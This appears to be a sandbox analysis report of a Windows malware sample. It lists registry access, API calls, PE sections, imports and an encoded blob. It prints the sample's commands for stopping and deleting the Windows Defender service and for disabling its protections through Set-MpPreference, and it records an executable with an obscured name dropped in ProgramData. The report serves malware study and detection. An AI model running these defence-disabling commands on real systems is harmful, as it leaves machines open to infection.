HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\LocalRedirectOnly
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Roamable
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PreCreate
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Stream
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\PublishExpandedPath
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\Attributes
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\FolderTypeID
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\FolderDescriptions\{5E6C858F-0E22-4760-9AFE-EA3317B67173}\InitFolderHandler
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRecentDocsHistory
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackDocs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackDocs
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\PowerShellVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\RuntimeVersion
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine\ConsoleHostAssemblyName
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\InstallRoot
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\CLRLoadLogDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\UseLegacyV2RuntimeActivationPolicyDefaultValue
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\OnlyUseLatestCLR
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Fusion\NoClientChecks
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\SideBySide\PreferExternalManifest
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\NormalizeLinkNetPidls
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\System.NamespaceCLSID
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\{28636AA6-953D-11D2-B5D6-00C04FD918D0} 6
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\DcomLaunch\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcEptMapper\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\RpcSs\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\ObjectName
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\ImagePath
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\WOW64
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\ProgramData
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Public
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\Default
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonFilesDir (x86)
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ProgramW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\CommonW6432Dir
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18\ProfileImagePath
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\AppData
HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Local AppData
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\KeyIso\Environment
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable
HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection
HKEY_CURRENT_USER\Software\Classes\Local Settings\MuiCache\37\52C64B7E\LanguageList
cryptsp.dll.CryptAcquireContextA
setupapi.dll.CM_Get_Device_Interface_List_Size_ExW
setupapi.dll.CM_Get_Device_Interface_List_ExW
comctl32.dll.#386
advapi32.dll.UnregisterTraceGuids
comctl32.dll.#321
kernel32.dll.VirtualAlloc
ntdll.dll.memcpy
advapi32.dll.CryptAcquireContextA
advapi32.dll.CryptImportKey
advapi32.dll.CryptEncrypt
cryptsp.dll.CryptImportKey
cryptbase.dll.SystemFunction040
cryptbase.dll.SystemFunction041
cryptsp.dll.CryptEncrypt
kernel32.dll.SetThreadUILanguage
kernel32.dll.CopyFileExW
kernel32.dll.IsDebuggerPresent
kernel32.dll.SetConsoleInputExeNameW
kernel32.dll.SortGetHandle
kernel32.dll.SortCloseHandle
cryptbase.dll.SystemFunction036
ole32.dll.CoCreateInstance
shell32.dll.#66
ole32.dll.CoGetApartmentType
ole32.dll.CoRegisterInitializeSpy
ole32.dll.CoTaskMemFree
comctl32.dll.#236
oleaut32.dll.#6
ole32.dll.CoTaskMemAlloc
ole32.dll.CoGetMalloc
ole32.dll.CoInitializeEx
ole32.dll.CreateBindCtx
comctl32.dll.#320
comctl32.dll.#324
comctl32.dll.#323
advapi32.dll.RegEnumKeyW
oleaut32.dll.#2
advapi32.dll.InitializeSecurityDescriptor
advapi32.dll.SetEntriesInAclW
ntmarta.dll.GetMartaExtensionInterface
advapi32.dll.SetSecurityDescriptorDacl
advapi32.dll.IsTextUnicode
comctl32.dll.#332
comctl32.dll.#338
comctl32.dll.#339
shell32.dll.#102
ole32.dll.CoUninitialize
comctl32.dll.#385
comctl32.dll.#336
comctl32.dll.#329
comctl32.dll.#333
ntdll.dll.RtlDllShutdownInProgress
propsys.dll.PSCreateMemoryPropertyStore
sechost.dll.ConvertSidToStringSidW
profapi.dll.#104
linkinfo.dll.CreateLinkInfoW
user32.dll.IsCharAlphaW
user32.dll.CharPrevW
ntshrui.dll.GetNetResourceFromLocalPathW
srvcli.dll.NetShareEnum
cscapi.dll.CscNetApiGetInterface
slc.dll.SLGetWindowsInformationDWORD
shlwapi.dll.PathRemoveFileSpecW
linkinfo.dll.DestroyLinkInfo
propsys.dll.PropVariantToBoolean
ole32.dll.PropVariantClear
cryptsp.dll.CryptAcquireContextW
cryptsp.dll.CryptGenRandom
cryptsp.dll.CryptReleaseContext
advapi32.dll.GetSecurityInfo
advapi32.dll.SetSecurityInfo
advapi32.dll.GetSecurityDescriptorControl
ole32.dll.CoRevokeInitializeSpy
comctl32.dll.#388
oleaut32.dll.#500
advapi32.dll.RegOpenKeyExW
advapi32.dll.RegQueryInfoKeyW
advapi32.dll.RegEnumKeyExW
advapi32.dll.RegEnumValueW
advapi32.dll.RegCloseKey
advapi32.dll.RegQueryValueExW
mscoree.dll.#142
mscoreei.dll.RegisterShimImplCallback
mscoreei.dll.OnShimDllMainCalled
mscoreei.dll.CorBindToRuntimeEx
shlwapi.dll.UrlIsW
linkinfo.dll.IsValidLinkInfo
propsys.dll.#417
propsys.dll.PSGetNameFromPropertyKey
propsys.dll.PSStringFromPropertyKey
propsys.dll.InitVariantFromBuffer
oleaut32.dll.#9
propsys.dll.PropVariantToGUID
rpcrt4.dll.UuidFromStringW
rpcrt4.dll.RpcBindingCreateW
rpcrt4.dll.RpcBindingBind
sechost.dll.OpenSCManagerW
sechost.dll.OpenServiceW
sechost.dll.StartServiceW
sechost.dll.CloseServiceHandle
"C:\ProgramData\\xd1\x80\xd0\xbe\xd0\xbf\xd1\x80\xd0\xa3\xd0\x92\xd0\xb0\xd0\xab\xd1\x81\xd0\xb5\xd0\xbd\xd0\xbe\xd1\x80\xd1\x85.exe"
C:\ProgramData\\xd1\x80\xd0\xbe\xd0\xbf\xd1\x80\xd0\xa3\xd0\x92\xd0\xb0\xd0\xab\xd1\x81\xd0\xb5\xd0\xbd\xd0\xbe\xd1\x80\xd1\x85.exe
"C:\Windows\System32\cmd.exe" /c sc stop WinDefend
cmd.exe /c sc stop WinDefend
"C:\Windows\System32\cmd.exe" /c sc delete WinDefend
cmd.exe /c sc delete WinDefend
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
cmd.exe /c powershell Set-MpPreference -DisableBehaviorMonitoring $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
cmd.exe /c powershell Set-MpPreference -DisableBlockAtFirstSeen $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIOAVProtection $true
cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisablePrivacyMode $true
cmd.exe /c powershell Set-MpPreference -DisablePrivacyMode $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
cmd.exe /c powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -SevereThreatDefaultAction 6
cmd.exe /c powershell Set-MpPreference -SevereThreatDefaultAction 6
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -LowThreatDefaultAction 6
cmd.exe /c powershell Set-MpPreference -LowThreatDefaultAction 6
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
cmd.exe /c powershell Set-MpPreference -ModerateThreatDefaultAction 6
"C:\Windows\System32\cmd.exe" /c powershell Set-MpPreference -DisableScriptScanning $true
cmd.exe /c powershell Set-MpPreference -DisableScriptScanning $true
C:\Windows\system32\svchost.exe
sc stop WinDefend
sc delete WinDefend
powershell Set-MpPreference -DisableRealtimeMonitoring $true
powershell Set-MpPreference -DisableBehaviorMonitoring $true
powershell Set-MpPreference -DisableBlockAtFirstSeen $true
powershell Set-MpPreference -DisableIOAVProtection $true
powershell Set-MpPreference -DisablePrivacyMode $true
powershell Set-MpPreference -DisableIntrusionPreventionSystem $true
powershell Set-MpPreference -SevereThreatDefaultAction 6
powershell Set-MpPreference -LowThreatDefaultAction 6
powershell Set-MpPreference -ModerateThreatDefaultAction 6
powershell Set-MpPreference -DisableScriptScanning $true
C:\Windows\system32\lsass.exe
gcc-shmem-tdm2-use_fc_key
gcc-shmem-tdm2-sjlj_once
gcc-shmem-tdm2-once_global_shmem
gcc-shmem-tdm2-once_obj_shmem
gcc-shmem-tdm2-mutex_global_shmem
gcc-shmem-tdm2-_pthread_tls_once_shmem
gcc-shmem-tdm2-_pthread_tls_shmem
gcc-shmem-tdm2-mtx_pthr_locked_shmem
gcc-shmem-tdm2-mutex_global_static_shmem
gcc-shmem-tdm2-mxattr_recursive_shmem
gcc-shmem-tdm2-pthr_root_shmem
gcc-shmem-tdm2-idListCnt_shmem
gcc-shmem-tdm2-idListMax_shmem
gcc-shmem-tdm2-idList_shmem
gcc-shmem-tdm2-idListNextId_shmem
gcc-shmem-tdm2-fc_key
gcc-shmem-tdm2-_pthread_key_lock_shmem
gcc-shmem-tdm2-_pthread_cancelling_shmem
gcc-shmem-tdm2-cond_locked_shmem_rwlock
gcc-shmem-tdm2-rwl_global_shmem
gcc-shmem-tdm2-_pthread_key_sch_shmem
gcc-shmem-tdm2-_pthread_key_max_shmem
gcc-shmem-tdm2-_pthread_key_dest_shmem
Global\49113F2AFCA932832
KeyIso

Binary Entropy

PE Information

Image Base 0x00400000
Entry Point 0x004014e0
Reported Checksum 0x000b3471
Actual Checksum 0x000b3471
Minimum OS Version 4.0
Compile Time 2019-08-13 11:07:30
Import Hash 462feb341ceec5d1f9664aad7dc4a71f

Sections

Name Virtual Address Virtual Size Size of Raw Data Characteristics Entropy
.text 0x00001000 0x00020f44 0x00021000 IMAGE_SCN_CNT_CODE|IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_16BYTES 6.12
.data 0x00022000 0x00005078 0x00005200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_32BYTES 0.06
.rdata 0x00028000 0x0003c4bc 0x0003c600 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_32BYTES 6.14
.bss 0x00065000 0x000005f8 0x00000000 IMAGE_SCN_CNT_UNINITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_32BYTES 0.00
.idata 0x00066000 0x00001000 0x00001000 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_4BYTES 5.23
.CRT 0x00067000 0x00000038 0x00000200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_4BYTES 0.33
.tls 0x00068000 0x00000020 0x00000200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_4BYTES 0.22
.rsrc 0x00069000 0x00008b60 0x00008c00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE|IMAGE_SCN_ALIGN_4BYTES 5.35
/4 0x00072000 0x00000358 0x00000400 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_8BYTES 1.95
/19 0x00073000 0x0000d972 0x0000da00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 6.07
/31 0x00081000 0x00001ffc 0x00002000 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 4.67
/45 0x00083000 0x000020d5 0x00002200 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 5.74
/57 0x00086000 0x00000bc4 0x00000c00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_4BYTES 4.61
/70 0x00087000 0x0000031c 0x00000400 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 4.28
/81 0x00088000 0x000019f2 0x00001a00 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 3.51
/92 0x0008a000 0x00000608 0x00000800 IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_DISCARDABLE|IMAGE_SCN_MEM_READ|IMAGE_SCN_ALIGN_1BYTES 2.55

Overlay

Offset 0x00081e00
Size 0x00022f16

Imports

Library ADVAPI32.dll:
Library GDI32.dll:
0x4662d4 BitBlt
0x4662d8 CreateBitmap
0x4662e0 CreateCompatibleDC
0x4662e4 DeleteDC
0x4662e8 DeleteObject
0x4662ec GetObjectA
0x4662f0 SelectObject
0x4662f4 SetBkColor
Library KERNEL32.dll:
0x4662fc AddAtomA
0x466300 CloseHandle
0x466304 CopyFileW
0x466308 CreateEventA
0x46630c CreateMutexA
0x466310 CreateSemaphoreA
0x466318 DuplicateHandle
0x466320 ExitProcess
0x466324 FindAtomA
0x466328 GetAtomNameA
0x46632c GetCurrentProcess
0x466330 GetCurrentProcessId
0x466334 GetCurrentThread
0x466338 GetCurrentThreadId
0x466340 GetLastError
0x466344 GetModuleFileNameW
0x466348 GetModuleHandleA
0x466350 GetStartupInfoA
0x466358 GetThreadContext
0x46635c GetThreadPriority
0x466360 GetTickCount
0x466370 InterlockedExchange
0x466384 ReleaseMutex
0x466388 ReleaseSemaphore
0x46638c ResetEvent
0x466390 ResumeThread
0x466394 SetEvent
0x466398 SetLastError
0x4663a0 SetThreadContext
0x4663a4 SetThreadPriority
0x4663ac Sleep
0x4663b0 SuspendThread
0x4663b4 TerminateProcess
0x4663b8 TlsAlloc
0x4663bc TlsGetValue
0x4663c0 TlsSetValue
0x4663cc VirtualAlloc
0x4663d0 VirtualProtect
0x4663d4 VirtualQuery
0x4663dc WaitForSingleObject
Library msvcrt.dll:
0x4663e4 __dllonexit
0x4663e8 __getmainargs
0x4663ec __initenv
0x4663f0 __lconv_init
0x4663f4 __set_app_type
0x4663f8 __setusermatherr
0x4663fc _acmdln
0x466400 _amsg_exit
0x466404 _beginthreadex
0x466408 _cexit
0x46640c _endthreadex
0x466410 _fmode
0x466414 _ftime
0x466418 _initterm
0x46641c _iob
0x466420 _lock
0x466424 _onexit
0x466428 _setjmp3
0x46642c _unlock
0x466430 _write
0x466434 abort
0x466438 calloc
0x46643c exit
0x466440 fprintf
0x466444 fputc
0x466448 fputs
0x46644c free
0x466450 fwrite
0x466454 longjmp
0x466458 malloc
0x46645c memchr
0x466460 memcmp
0x466464 memcpy
0x466468 memmove
0x46646c memset
0x466470 printf
0x466474 rand
0x466478 realloc
0x46647c signal
0x466480 sprintf
0x466484 srand
0x466488 strcmp
0x46648c strerror
0x466490 strlen
0x466494 strncmp
0x466498 time
0x46649c vfprintf
Library SHELL32.DLL:
0x4664a4 ShellExecuteW
Library USER32.dll:
0x4664ac BeginPaint
0x4664b0 CreateWindowExA
0x4664b4 DefWindowProcA
0x4664b8 DestroyWindow
0x4664bc DispatchMessageA
0x4664c0 EndPaint
0x4664c4 FillRect
0x4664c8 GetAsyncKeyState
0x4664cc GetClientRect
0x4664d0 GetDC
0x4664d4 GetMessageA
0x4664d8 InvalidateRect
0x4664dc KillTimer
0x4664e0 LoadBitmapA
0x4664e4 LoadCursorA
0x4664e8 LoadIconA
0x4664ec MessageBoxA
0x4664f0 PostQuitMessage
0x4664f4 RegisterClassExA
0x4664f8 SetTimer
0x4664fc ShowWindow
0x466500 TranslateMessage
0x466504 UpdateWindow

.text
P`.data
.rdata
`@.bss
.idata
.rsrc
@B/19
0B/70
|$` fB
|$` pB
|$` &B
|$` fB
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